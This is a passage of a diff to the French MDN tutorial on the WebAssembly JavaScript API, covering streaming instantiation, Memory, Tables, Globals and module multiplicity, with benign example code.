wasm](/fr/docs/WebAssembly/Text_format_to_wasm#A_first_look_at_the_text_format)): (module (func $i (import "imports" "imported_func") (param i32)) @@ -28,7 +28,7 @@ Parcourons quelques exemples illustrant l'utilisation de l'API Webassembly JavaS i32.const 42 call $i)) -5. À la deuxième ligne, vous pouvez constater l'import d'un namespace à deux niveaux — la fonction interne `$i` est importée depuis `imports.imported_func`. Dans notre JavaScript, notre namespace doit reprendre ce format à deux niveaux lors de l'écriture de l'objet à importer dans le module wasm. Pour ce faire, créez un élément `<script></script>` dans votre fichier HTML, puis ajoutez le code suivant: +5. À la deuxième ligne, vous pouvez constater l'import d'un namespace à deux niveaux — la fonction interne `$i` est importée depuis `imports.imported_func`. Dans notre JavaScript, notre namespace doit reprendre ce format à deux niveaux lors de l'écriture de l'objet à importer dans le module wasm. Pour ce faire, créez un élément `<script></script>` dans votre fichier HTML, puis ajoutez le code suivant: ```js var importObject = { @@ -40,26 +40,26 @@ Parcourons quelques exemples illustrant l'utilisation de l'API Webassembly JavaS }; ``` -### Streaming de notre module webassembly +### Streaming de notre module webassembly -Il est dorénavant possible dans Firefox 58 de compiler et instancier les modules Webassembly directement à partir des ressources initiales. Il est nécessaire dans ce cas d'utiliser les méthodes {{jsxref("WebAssembly.compileStreaming()")}} et {{jsxref("WebAssembly.instantiateStreaming()")}}. Ces méthodes en streaming sont plus facile d'utilisation que leurs contreparties synchrones, car elles traduisent directement le bytecode en instances de type `Module`/`Instance`, sans nécessiter la manipulation d'une réponse intermédiaire {{domxref("Response")}} en un {{domxref("ArrayBuffer")}}. +Il est dorénavant possible dans Firefox 58 de compiler et instancier les modules Webassembly directement à partir des ressources initiales. Il est nécessaire dans ce cas d'utiliser les méthodes {{jsxref("WebAssembly.compileStreaming()")}} et {{jsxref("WebAssembly.instantiateStreaming()")}}. Ces méthodes en streaming sont plus facile d'utilisation que leurs contreparties synchrones, car elles traduisent directement le bytecode en instances de type `Module`/`Instance`, sans nécessiter la manipulation d'une réponse intermédiaire {{domxref("Response")}} en un {{domxref("ArrayBuffer")}}. -Cet exemple (voir notre démo sur GitHub [instantiate-streaming.html](https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/instantiate-streaming.html), et également [view it live](https://mdn.github.io/webassembly-examples/js-api-examples/instantiate-streaming.html)) montre comment utiliser `instantiateStreaming()` pour récupérer un module wasm, le compiler, l'instancier afin d'avoir accès aux fonctions exportées qu'il contient et d'y importer des fonctions JavaScript, le tout en une seule et même étape. +Cet exemple (voir notre démo sur GitHub [instantiate-streaming.html](https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/instantiate-streaming.html), et également [view it live](https://mdn.github.io/webassembly-examples/js-api-examples/instantiate-streaming.html)) montre comment utiliser `instantiateStreaming()` pour récupérer un module wasm, le compiler, l'instancier afin d'avoir accès aux fonctions exportées qu'il contient et d'y importer des fonctions JavaScript, le tout en une seule et même étape. Ajoutez le code suivant à votre script, en dessous du premier bloc: WebAssembly.instantiateStreaming(fetch('simple.wasm'), importObject) .then(obj => obj.instance.exports.exported_func()); -Le résultat net de l'ensemble du code est que l'appel à `exported_func`, notre fonction exportée Webassembly, entraîne à son tour l'appel à `imported_func` notre fonction importée JavaScript, qui logue la valeur 42 fournie à l'instance WebAssembly dans la console. Si vous sauvegardez l'exemple et chargez le code dans un navigateur qui supporte WebAssembly, vous pourrez le voir en action. +Le résultat net de l'ensemble du code est que l'appel à `exported_func`, notre fonction exportée Webassembly, entraîne à son tour l'appel à `imported_func` notre fonction importée JavaScript, qui logue la valeur 42 fournie à l'instance WebAssembly dans la console. Si vous sauvegardez l'exemple et chargez le code dans un navigateur qui supporte WebAssembly, vous pourrez le voir en action. -**Note**: Cet exemple interminable et tarabiscoté semble aboutir à un résultat de faible importance, il permet néanmoins d'illustrer les possibilités offertes par l'utilisation conjointe d'un code WebAssembly et d'un code JavaScript dans une application web. Comme il est précisé ailleurs, l'objectif de WebAssembly n'est pas de remplacer JavaScript; à vrai dire les deux sont conçus pour fonctionner de concert, chacun tirant parti des forces de l'autre. +**Note**: Cet exemple interminable et tarabiscoté semble aboutir à un résultat de faible importance, il permet néanmoins d'illustrer les possibilités offertes par l'utilisation conjointe d'un code WebAssembly et d'un code JavaScript dans une application web. Comme il est précisé ailleurs, l'objectif de WebAssembly n'est pas de remplacer JavaScript; à vrai dire les deux sont conçus pour fonctionner de concert, chacun tirant parti des forces de l'autre. -### Chargement de notre module wasm sans streaming +### Chargement de notre module wasm sans streaming -Si vous ne pouvez pas ou ne souhaitez pas utiliser les méthodes en streaming décrites ci-dessus, vous pouvez utiliser à la place les méthodes synchrones {{jsxref("WebAssembly.compile")}} / {{jsxref("WebAssembly.instantiate")}}. +Si vous ne pouvez pas ou ne souhaitez pas utiliser les méthodes en streaming décrites ci-dessus, vous pouvez utiliser à la place les méthodes synchrones {{jsxref("WebAssembly.compile")}} / {{jsxref("WebAssembly.instantiate")}}. -Ces méthodes n'accèdent pas directement au bytecode, elles requièrent une étape supplémentaire afin de transformer la réponse en un {{domxref("ArrayBuffer")}} , et cela avant les étapes de compilation/instanciation du module wasm. +Ces méthodes n'accèdent pas directement au bytecode, elles requièrent une étape supplémentaire afin de transformer la réponse en un {{domxref("ArrayBuffer")}} , et cela avant les étapes de compilation/instanciation du module wasm. Le code équivalent à l'exemple précédent prend la forme suivante: @@ -71,32 +71,32 @@ Le code équivalent à l'exemple précédent prend la forme suivante: results.instance.exports.exported_func(); }); -### Visualiser wasm dans l'outil de développement +### Visualiser wasm dans l'outil de développement In Firefox 54+, the Developer Tool Debugger Panel has functionality to expose the text representation of any wasm code included in a web page. To view it, you can go to the Debugger Panel and click on the “wasm://” entry.  -Starting soon in Firefox, in addition to viewing WebAssembly as text, developers will be able to debug (place breakpoints, inspect the callstack, single-step, etc.) WebAssembly using the text format. See [WebAssembly debugging with Firefox DevTools](https://www.youtube.com/watch?v=R1WtBkMeGds) for a video preview. +Starting soon in Firefox, in addition to viewing WebAssembly as text, developers will be able to debug (place breakpoints, inspect the callstack, single-step, etc.) WebAssembly using the text format. See [WebAssembly debugging with Firefox DevTools](https://www.youtube.com/watch?v=R1WtBkMeGds) for a video preview. ## Memory -Dans le modèle mémoire bas niveau de WebAssembly, la mémoire est représentée comme une suite continue de bytes non typés appelée [Linear Memory](http://webassembly.org/docs/semantics/#linear-memory). Cette mémoire linéaire est accessible en écriture et en lecture par des instructions [load et store ](http://webassembly.org/docs/semantics/#linear-memory-accesses)à l'intérieur du module. Dans ce modèle de mémoire, les instructions load et store peuvent accéder à n'importe quel byte de la mémoire linéaire, ce qui est nécessaire à une réprésentation fidèle de concepts C/C++ comme les pointeurs. +Dans le modèle mémoire bas niveau de WebAssembly, la mémoire est représentée comme une suite continue de bytes non typés appelée [Linear Memory](http://webassembly.org/docs/semantics/#linear-memory). Cette mémoire linéaire est accessible en écriture et en lecture par des instructions [load et store ](http://webassembly.org/docs/semantics/#linear-memory-accesses)à l'intérieur du module. Dans ce modèle de mémoire, les instructions load et store peuvent accéder à n'importe quel byte de la mémoire linéaire, ce qui est nécessaire à une réprésentation fidèle de concepts C/C++ comme les pointeurs. -Cependant contrairement à une implémentation native d'un programe C/C++ dans laquelle l'espace de mémoire disponible recouvre celle de l'ensemble du processus, la mémoire accessible par une instance particulière de WebAssembly est un espace mémoire spécifique — potentiellement très réduit — contenu dans une objet mémoire WebAssembly. Ceci permet à une application web unique d'utiliser des librairies indépendantes — Chacune d'entre elles pouvant utiliser en interne WebAssembly— avec des espaces mémoires séparés qui sont complètement isolés les uns des autres. +Cependant contrairement à une implémentation native d'un programe C/C++ dans laquelle l'espace de mémoire disponible recouvre celle de l'ensemble du processus, la mémoire accessible par une instance particulière de WebAssembly est un espace mémoire spécifique — potentiellement très réduit — contenu dans une objet mémoire WebAssembly. Ceci permet à une application web unique d'utiliser des librairies indépendantes — Chacune d'entre elles pouvant utiliser en interne WebAssembly— avec des espaces mémoires séparés qui sont complètement isolés les uns des autres. -Dans JavaScript, une instance Memory peut être pensée comme un ArrayBuffer redimensionnable. De la même manière que pour les ArrayBuffers, une application web peut créer de nombreux objets Memory indépendants. Vous pouvez en créer un en utilisant le constructeur {{jsxref("WebAssembly.Memory()")}}, qui prend comme arguments la taille initiale ainsi que la taille maximale de l'espace mémoire à créer. +Dans JavaScript, une instance Memory peut être pensée comme un ArrayBuffer redimensionnable. De la même manière que pour les ArrayBuffers, une application web peut créer de nombreux objets Memory indépendants. Vous pouvez en créer un en utilisant le constructeur {{jsxref("WebAssembly.Memory()")}}, qui prend comme arguments la taille initiale ainsi que la taille maximale de l'espace mémoire à créer. Explorons ces concepts à travers un exemple rapide. -1. Créez une autre page HTML (copiez pour cela notre [simple template](https://github.com/mdn/webassembly-examples/blob/master/template/template.html)) et appelez la `memory.html`. Ajoutez un élement `<script></script>` à la page. +1. Créez une autre page HTML (copiez pour cela notre [simple template](https://github.com/mdn/webassembly-examples/blob/master/template/template.html)) et appelez la `memory.html`. Ajoutez un élement `<script></script>` à la page. 2. Maintenant ajoutez la ligne suivante en haut de votre script, afin de créer une instance mémoire: var memory = new WebAssembly.Memory({initial:10, maximum:100}); - L'unité pour `initial` et `maximum` correspond à une page WebAssembly — soit une taille fixe de 64 KB. Cela signifie que l'instance mémoire ci-dessus à une taille initiale de 64 KB, et une taille maximum de 6.4 MB. + L'unité pour `initial` et `maximum` correspond à une page WebAssembly — soit une taille fixe de 64 KB. Cela signifie que l'instance mémoire ci-dessus à une taille initiale de 64 KB, et une taille maximum de 6.4 MB. - WebAssembly memory expose ses bytes par l'intermédiaire d'un tampon getter/setter qui retourne un ArrayBuffer. Par exemple, pour écrire 42 directement dans l'espace du premier mot de la mémoire linéaire, vous pouvez faire cela: + WebAssembly memory expose ses bytes par l'intermédiaire d'un tampon getter/setter qui retourne un ArrayBuffer. Par exemple, pour écrire 42 directement dans l'espace du premier mot de la mémoire linéaire, vous pouvez faire cela: new Uint32Array(memory.buffer)[0] = 42; @@ -104,36 +104,36 @@ Explorons ces concepts à travers un exemple rapide. new Uint32Array(memory.buffer)[0] -3. À vous d'essayer — Enregistrez ce que vous avez rédigé jusqu'à maintenant, chargez-le dans votre navigateur, puis essayez d'entrer les deux lignes ci-dessus dans votre javascript console. +3. À vous d'essayer — Enregistrez ce que vous avez rédigé jusqu'à maintenant, chargez-le dans votre navigateur, puis essayez d'entrer les deux lignes ci-dessus dans votre javascript console. ### Redimensionner la mémoire -Une instance de mémoire peut être agrandie par appel à la méthode {{jsxref("Memory.prototype.grow()")}}, qui prend comme argument la taille de mémoire à ajouter (en unité de page WebAssembly). +Une instance de mémoire peut être agrandie par appel à la méthode {{jsxref("Memory.prototype.grow()")}}, qui prend comme argument la taille de mémoire à ajouter (en unité de page WebAssembly). memory.grow(1); -Si une valeur maximum a été fournie à la création de l'instance mémoire, les tentatives d'augmenter l'espace mémoire au delà de cette valeur maximum aboutiront à une exception de type {{jsxref("WebAssembly.RangeError")}}. Le moteur JavaScript utilise cette valeur limite supérieure pour réserver d'avance un espace mémoire suffisant, ce qui permet de rendre les redimensionnements mémoires plus efficaces. +Si une valeur maximum a été fournie à la création de l'instance mémoire, les tentatives d'augmenter l'espace mémoire au delà de cette valeur maximum aboutiront à une exception de type {{jsxref("WebAssembly.RangeError")}}. Le moteur JavaScript utilise cette valeur limite supérieure pour réserver d'avance un espace mémoire suffisant, ce qui permet de rendre les redimensionnements mémoires plus efficaces. -Note: En raison du caractère immuable de la longueur de byte d'un {{domxref("ArrayBuffer")}}, après une opération {{jsxref("Memory.prototype.grow()")}} réussie, le buffer getter retourne un nouvel objet ArrayBuffer (avec la nouvelle longeur de byte du buffer) et tous les objets ArrayBuffer précédents se retrouve en état "dissocié", ou déconnectés de l'espace mémoire dont ils étaient issus initialement. +Note: En raison du caractère immuable de la longueur de byte d'un {{domxref("ArrayBuffer")}}, après une opération {{jsxref("Memory.prototype.grow()")}} réussie, le buffer getter retourne un nouvel objet ArrayBuffer (avec la nouvelle longeur de byte du buffer) et tous les objets ArrayBuffer précédents se retrouve en état "dissocié", ou déconnectés de l'espace mémoire dont ils étaient issus initialement. -Tout comme les fonctions, les espaces mémoires linéaires peuvent être définis à l'intérieur du module, ou bien importés. De manière similaire aux fonctions, un module peut également exporter sa mémoire. Cela signifie que JavaScript peut accéder à la mémoire d'une instance WebAssembly soit en créant un nouveau `WebAssembly.Memory` afin de le passer en import à cette instance, soit en recevant un export Memory (via [`Instance.prototype.exports`](/fr/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Instance/exports)). +Tout comme les fonctions, les espaces mémoires linéaires peuvent être définis à l'intérieur du module, ou bien importés. De manière similaire aux fonctions, un module peut également exporter sa mémoire. Cela signifie que JavaScript peut accéder à la mémoire d'une instance WebAssembly soit en créant un nouveau `WebAssembly.Memory` afin de le passer en import à cette instance, soit en recevant un export Memory (via [`Instance.prototype.exports`](/fr/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Instance/exports)). ### Exemple avancé pour l'utilisation mémoire -Essayons de clarifier les affirmations ci-dessus à l'aide d'un exemple plus abouti — à savoir un module WebAssembly qui importe une instance mémoire telle que définie plus tôt, et qui l'alimente d'un tableau d'entiers, pour en faire la somme totale. Vous pouvez trouver cela dans ce fichier [memory.wasm.](https://github.com/mdn/webassembly-examples/raw/master/js-api-examples/memory.wasm) +Essayons de clarifier les affirmations ci-dessus à l'aide d'un exemple plus abouti — à savoir un module WebAssembly qui importe une instance mémoire telle que définie plus tôt, et qui l'alimente d'un tableau d'entiers, pour en faire la somme totale. Vous pouvez trouver cela dans ce fichier [memory.wasm.](https://github.com/mdn/webassembly-examples/raw/master/js-api-examples/memory.wasm) -1. Faites une copie locale de `memory.wasm` dans le même dossier que précédement. +1. Faites une copie locale de `memory.wasm` dans le même dossier que précédement. - **Note**: Vous pouvez trouver la représentation textuelle du module sur [memory.wat](https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/memory.wat). + **Note**: Vous pouvez trouver la représentation textuelle du module sur [memory.wat](https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/memory.wat). -2. Retournez à votre fichier `memory.html`, et récupérez, compilez, et instancier votre module wasm comme précédement — Ajoutez à la fin de votre script les lignes suivantes: +2. Retournez à votre fichier `memory.html`, et récupérez, compilez, et instancier votre module wasm comme précédement — Ajoutez à la fin de votre script les lignes suivantes: WebAssembly.instantiateStreaming(fetch('memory.wasm'), { js: { mem: memory } }) .then(results => { // add code here }); -3. Puisque ce module exporte sa mémoire, nous pouvons utiliser la fonction exportée `accumulate()` à partir du champ instance (de type Instance) de la valeur de retour results du module pour créer et alimenter l'instance mémoire du module (`mem`) avec un tableau. Ajoutez les lignes suivantes à votre code à l'emplacement indiqué dans le snippet précédent. +3. Puisque ce module exporte sa mémoire, nous pouvons utiliser la fonction exportée `accumulate()` à partir du champ instance (de type Instance) de la valeur de retour results du module pour créer et alimenter l'instance mémoire du module (`mem`) avec un tableau. Ajoutez les lignes suivantes à votre code à l'emplacement indiqué dans le snippet précédent. var i32 = new Uint32Array(memory.buffer); @@ -144,37 +144,37 @@ Essayons de clarifier les affirmations ci-dessus à l'aide d'un exemple plus ab var sum = results.instance.exports.accumulate(0, 10); console.log(sum); -Note: vous pouvez remarquer que nous avons créé la vue {{domxref("Uint32Array")}} sur le champ buffer de l'objet Memory ([`Memory.prototype.buffer`](/fr/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Memory/buffer)), et pas sur l'objet Memory lui même. +Note: vous pouvez remarquer que nous avons créé la vue {{domxref("Uint32Array")}} sur le champ buffer de l'objet Memory ([`Memory.prototype.buffer`](/fr/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Memory/buffer)), et pas sur l'objet Memory lui même. -Les imports Memory fonctionnent de la même manière que les imports fonctions, à la différence prés que les objets Memory véhiculent des valeurs au lieu de fonctions javascripts. Les imports Memory sont utiles pour deux raisons: +Les imports Memory fonctionnent de la même manière que les imports fonctions, à la différence prés que les objets Memory véhiculent des valeurs au lieu de fonctions javascripts. Les imports Memory sont utiles pour deux raisons: - Ils permettent de récupérer et créer le contenu mémoire initial avant ou en parrallèle de la compilation du module. - Ils permettent qu'un objet mémoire unique soit importé par des instances de modules multiples, ce qui est une fonctionnalité clef dans l'objectif d'une implémentation d'une connexion dynamique dans WebAssembly. -**Note**: Vous pouvez trouver une démo complete à [memory.html](https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/memory.html) (à voir également [live](https://mdn.github.io/webassembly-examples/js-api-examples/memory.html)) . +**Note**: Vous pouvez trouver une démo complete à [memory.html](https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/memory.html) (à voir également [live](https://mdn.github.io/webassembly-examples/js-api-examples/memory.html)) . ## Tables -Une Table WebAssembly est un tableau de [références](<https://en.wikipedia.org/wiki/Reference_(computer_science)>) typées redimensionnable qui peut être accédé à la fois par du code JavaScript et par du code WebAssembly. Memory fournit un tableau de bytes bruts redimensionnable, mais il n'est pas prudent d'y stocker des références, car une référence est une valeur considérée comme sûre par le moteur JavaScript, valeur dont les bytes ne doivent être accessibles ni en lecture, ni en écriture par le contenu pour des raisons de sécurité, de portabilité, et de stabilité. +Une Table WebAssembly est un tableau de [références](<https://en.wikipedia.org/wiki/Reference_(computer_science)>) typées redimensionnable qui peut être accédé à la fois par du code JavaScript et par du code WebAssembly. Memory fournit un tableau de bytes bruts redimensionnable, mais il n'est pas prudent d'y stocker des références, car une référence est une valeur considérée comme sûre par le moteur JavaScript, valeur dont les bytes ne doivent être accessibles ni en lecture, ni en écriture par le contenu pour des raisons de sécurité, de portabilité, et de stabilité. -Les Tables possèdent un type, qui limite les types de références qui peuvent être contenues dans la table. Dans la version actuelle de WebAssembly, il n'existe qu'un seul type de références — functions — et de fait seul ce type de références est donc valide. Dans de prochaines versions, d'autres types de références seront ajoutés. +Les Tables possèdent un type, qui limite les types de références qui peuvent être contenues dans la table. Dans la version actuelle de WebAssembly, il n'existe qu'un seul type de références — functions — et de fait seul ce type de références est donc valide. Dans de prochaines versions, d'autres types de références seront ajoutés. -Les références de type fonction sont nécessaires afin de compiler des languages comme C/C++ qui permettent l'implémentation de pointeurs sur fonctions. Dans une implémentation native en C/C++, un pointeur sur fonction est représenté par une adresse brute associée au code de la fonction contenue dans l'espace d'adressage virtuel du processus. Pour les raisons de sécurités mentionnées plus haut, cette référence dans WebAssembly ne peut être stockée directement en mémoire linéaire. Les références de fonctions sont stockées dans une table et leurs index, qui sont des entiers, peuvent être placés en mémoire linéaire et véhiculés de manière sûre. +Les références de type fonction sont nécessaires afin de compiler des languages comme C/C++ qui permettent l'implémentation de pointeurs sur fonctions. Dans une implémentation native en C/C++, un pointeur sur fonction est représenté par une adresse brute associée au code de la fonction contenue dans l'espace d'adressage virtuel du processus. Pour les raisons de sécurités mentionnées plus haut, cette référence dans WebAssembly ne peut être stockée directement en mémoire linéaire. Les références de fonctions sont stockées dans une table et leurs index, qui sont des entiers, peuvent être placés en mémoire linéaire et véhiculés de manière sûre. -Lorsque l'appel à un pointeur sur fonction est nécessaire, le caller WebAssembly fournit l'index de la référence à appeler. La valeur de cet index est controlée par rapport au valeurs limites données à l'instantiation de la table (safety bounds checked), et cela avant que l'appel par référence à la fonction soit effectué. Autrement dit, les tables sont actuellement des primitives bas niveau utilisées pour compiler des fonctionnalités de language de programmation bas niveau, de manière sûre et portable. +Lorsque l'appel à un pointeur sur fonction est nécessaire, le caller WebAssembly fournit l'index de la référence à appeler. La valeur de cet index est controlée par rapport au valeurs limites données à l'instantiation de la table (safety bounds checked), et cela avant que l'appel par référence à la fonction soit effectué. Autrement dit, les tables sont actuellement des primitives bas niveau utilisées pour compiler des fonctionnalités de language de programmation bas niveau, de manière sûre et portable. -Les Tables peuvent être modifiées via [`Table.prototype.set()`](/fr/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Table/set), which updates one of the values in a table, and [`Table.prototype.grow()`](/fr/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Table/grow), which increases the number of values that can be stored in a table. This allows the indirectly-callable set of functions to change over time, which is necessary for [dynamic linking techniques](http://webassembly.org/docs/dynamic-linking/). The mutations are immediately accessible via [`Table.prototype.get()`](/fr/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Table/get) in JavaScript, and to wasm modules. +Les Tables peuvent être modifiées via [`Table.prototype.set()`](/fr/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Table/set), which updates one of the values in a table, and [`Table.prototype.grow()`](/fr/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Table/grow), which increases the number of values that can be stored in a table. This allows the indirectly-callable set of functions to change over time, which is necessary for [dynamic linking techniques](http://webassembly.org/docs/dynamic-linking/). The mutations are immediately accessible via [`Table.prototype.get()`](/fr/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Table/get) in JavaScript, and to wasm modules. ### Un exemple de table -Envisageons un exemple basique d'utilisation d'une table — un module WebAssembly qui crée et exporte une table contenant 2 éléments: l'élement 0 retourne 13 et l'élément 1 retourne 42. Vous retrouvez cela dans le fichier [table.wasm](https://github.com/mdn/webassembly-examples/raw/master/js-api-examples/table.wasm). +Envisageons un exemple basique d'utilisation d'une table — un module WebAssembly qui crée et exporte une table contenant 2 éléments: l'élement 0 retourne 13 et l'élément 1 retourne 42. Vous retrouvez cela dans le fichier [table.wasm](https://github.com/mdn/webassembly-examples/raw/master/js-api-examples/table.wasm). -1. Faites une copie locale de `table.wasm` dans un nouveau dossier. +1. Faites une copie locale de `table.wasm` dans un nouveau dossier. - **Note**: vous pouvez voir une réprésentation textuelle du module sur [table.wat](https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/table.wat). + **Note**: vous pouvez voir une réprésentation textuelle du module sur [table.wat](https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/table.wat). -2. Créez une nouvelle copie du template [HTML](https://github.com/mdn/webassembly-examples/blob/master/template/template.html) dans le même dossier et nommez le `table.html`. -3. Comme précédement, récupérez, compilez, et instanciez le module wasm — ajoutez les lignes suivantes à l'intérieur d'un élement {{htmlelement("script")}} au bas du body html: +2. Créez une nouvelle copie du template [HTML](https://github.com/mdn/webassembly-examples/blob/master/template/template.html) dans le même dossier et nommez le `table.html`. +3. Comme précédement, récupérez, compilez, et instanciez le module wasm — ajoutez les lignes suivantes à l'intérieur d'un élement {{htmlelement("script")}} au bas du body html: WebAssembly.instantiateStreaming(fetch('table.wasm')) .then(function(results) { @@ -187,13 +187,13 @@ Envisageons un exemple basique d'utilisation d'une table — un module WebAssemb console.log(tbl.get(0)()); // 13 console.log(tbl.get(1)()); // 42 -Ce code accède à chaque fonction référencée contenue dans la table, et l' instancie afin d'imprimer sa valeur de retour dans la console — à noter que chaque référence de fonction est obtenue à l'aide de la méthode [`Table.prototype.get()`](/fr/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Table/get), suivie d'une paire suplémentaire de parenthèses pour finaliser l'invocation de la fonction. +Ce code accède à chaque fonction référencée contenue dans la table, et l' instancie afin d'imprimer sa valeur de retour dans la console — à noter que chaque référence de fonction est obtenue à l'aide de la méthode [`Table.prototype.get()`](/fr/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Table/get), suivie d'une paire suplémentaire de parenthèses pour finaliser l'invocation de la fonction. -**Note**: Vous pouvez retoruver la démo complète sur [table.html](https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/table.html) (voir également [live](https://mdn.github.io/webassembly-examples/js-api-examples/table.html)). +**Note**: Vous pouvez retoruver la démo complète sur [table.html](https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/table.html) (voir également [live](https://mdn.github.io/webassembly-examples/js-api-examples/table.html)). ## Globals -WebAssembly fournit la capacité de créer des instances de variables globales, depuis JavaScript et importable/exportable à partir d'une ou plusieurs instances de {{jsxref("WebAssembly.Module")}}. C'est très utile, car cela rend possible la mise en place d'un lien dynamique entre de multiple modules WebAssembly. +WebAssembly fournit la capacité de créer des instances de variables globales, depuis JavaScript et importable/exportable à partir d'une ou plusieurs instances de {{jsxref("WebAssembly.Module")}}. C'est très utile, car cela rend possible la mise en place d'un lien dynamique entre de multiple modules WebAssembly. Pour créer une instance globale WebAssembly à partir de JavaScript, vous pouvez utiliser le constructeur {{jsxref("WebAssembly.Global()")}}, de la manière suivante: @@ -203,14 +203,14 @@ Vous pouvez remarquer que ce constructeur prend deux paramètres: - Un objet qui comprend deux propriétés décrivant la variable globale: - - `value`: correspond au type de donnée de la variable globale instanciée. Type de donnée qui peut être n'importe quel type compatible avec les modules WebAssembly modules — `i32`, `i64`, `f32`, ou `f64`. - - `mutable`: un booléen definissant si la valeur est "mutable" ou non. + - `value`: correspond au type de donnée de la variable globale instanciée. Type de donnée qui peut être n'importe quel type compatible avec les modules WebAssembly modules — `i32`, `i64`, `f32`, ou `f64`. + - `mutable`: un booléen definissant si la valeur est "mutable" ou non. -- Une valeur correspondant à la valeur prise par la variable. Cela peut être n'importe quelle valeur à condition qu'elle soit compatible avec le type de donnée spécifié. +- Une valeur correspondant à la valeur prise par la variable. Cela peut être n'importe quelle valeur à condition qu'elle soit compatible avec le type de donnée spécifié. -Finalement comment tout cela fonctionne? Dans l'exemple suivant nous définissons une variable globale "mutable" de type `i32`, avec une valeur de 0. +Finalement comment tout cela fonctionne? Dans l'exemple suivant nous définissons une variable globale "mutable" de type `i32`, avec une valeur de 0. -La valeur de la variable globale est ensuite changée en `42` en utilisant la propriété `Global.value`, puis en `43` en utilisant cette fois la fonction exportée de l'instance du module global.wasm `incGlobal()` (cette fonction ajoute 1 à la valeur qui lui est donnée et retourne la nouvelle valeur). +La valeur de la variable globale est ensuite changée en `42` en utilisant la propriété `Global.value`, puis en `43` en utilisant cette fois la fonction exportée de l'instance du module global.wasm `incGlobal()` (cette fonction ajoute 1 à la valeur qui lui est donnée et retourne la nouvelle valeur). const output = document.getElementById('output'); @@ -235,22 +235,22 @@ La valeur de la variable globale est ensuite changée en `42` en utilisant la p assertEq("getting wasm-updated value from JS", global.value, 43); }); -**Note**: Vous pouvez voir cet exemple en [live sur GitHub](https://mdn.github.io/webassembly-examples/js-api-examples/global.html); voir également le code [source](https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/global.html). +**Note**: Vous pouvez voir cet exemple en [live sur GitHub](https://mdn.github.io/webassembly-examples/js-api-examples/global.html); voir également le code [source](https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/global.html). ## Multiplicité Maintenant que nous avons présenté l'utilisation des principaux composants de WebAssembly, il est temps de dire quelques mots sur le concept de multiplicité. Ce dernier donne à WebAssembly un certains nombre d'avantages en terme d'efficience architecturale: - Un seul et unique module peut avoir N instances, de la même manière qu'une fonction littérale peut fournir N valeurs de closure. -- Une seule et unique instance de module peut utiliser 0-1 instance de mémoire, qui elles-mêmes fournissent "l'espace d'adressage" de l'instance. Les versions futures de WebAssembly pourraient autoriser 0-N instances de mémoire par module instancié (voir [Multiple Tables and Memories](http://webassembly.org/docs/future-features/#multiple-tables-and-memories)). -- Une seule et unique instance de module peut utiliser 0-1 instance de tables — cela constitue "l'espace d'adressage de fonction" de l'instance, utilisé pour des pointeurs de fonction de type C. Des versions futures de WebAssembly pourraient autoriser 0–N instance de table par module instancié. -- Une instance mémoire ou table peut être utilisée par 0-N instances de module — ces instances partagent toutes le même espace d'adressage, rendant possible l'implémentation d'un lien dynamique. +- Une seule et unique instance de module peut utiliser 0-1 instance de mémoire, qui elles-mêmes fournissent "l'espace d'adressage" de l'instance. Les versions futures de WebAssembly pourraient autoriser 0-N instances de mémoire par module instancié (voir [Multiple Tables and Memories](http://webassembly.org/docs/future-features/#multiple-tables-and-memories)). +- Une seule et unique instance de module peut utiliser 0-1 instance de tables — cela constitue "l'espace d'adressage de fonction" de l'instance, utilisé pour des pointeurs de fonction de type C. Des versions futures de WebAssembly pourraient autoriser 0–N instance de table par module instancié. +- Une instance mémoire ou table peut être utilisée par 0-N instances de module — ces instances partagent toutes le même espace d'adressage, rendant possible l'implémentation d'un lien dynamique. -Vous pouvez voir la mise en application du concept de multiplicité dans notre article Understanding text format — voir en particulier la section [Mutating tables and dynamic linking](/fr/docs/WebAssembly/Understanding_the_text_format#Mutating_tables_and_dynamic_linking). +Vous pouvez voir la mise en application du concept de multiplicité dans notre article Understanding text format — voir en particulier la section [Mutating tables and dynamic linking](/fr/docs/WebAssembly/Understanding_the_text_format#Mutating_tables_and_dynamic_linking). ## Résumé -Cet article a couvert les bases de l'utilisation de l'API WebAssembly JavaScript nécessaires à l'inclusion d'un module WebAssembly dans un contexte JavaScript, afin d'utiliser les fonctions du module dans ce contexte, et de se familiairiser avec la manipulation de la mémoire et des tables WebAssembly. Nous avons terminé en évoquant le concept de multiplicité. +Cet article a couvert les bases de l'utilisation de l'API WebAssembly JavaScript nécessaires à l'inclusion d'un module WebAssembly dans un contexte JavaScript, afin d'utiliser les fonctions du module dans ce contexte, et de se familiairiser avec la manipulation de la mémoire et des tables WebAssembly. Nous avons terminé en évoquant le concept de multiplicité. ## A voir également |
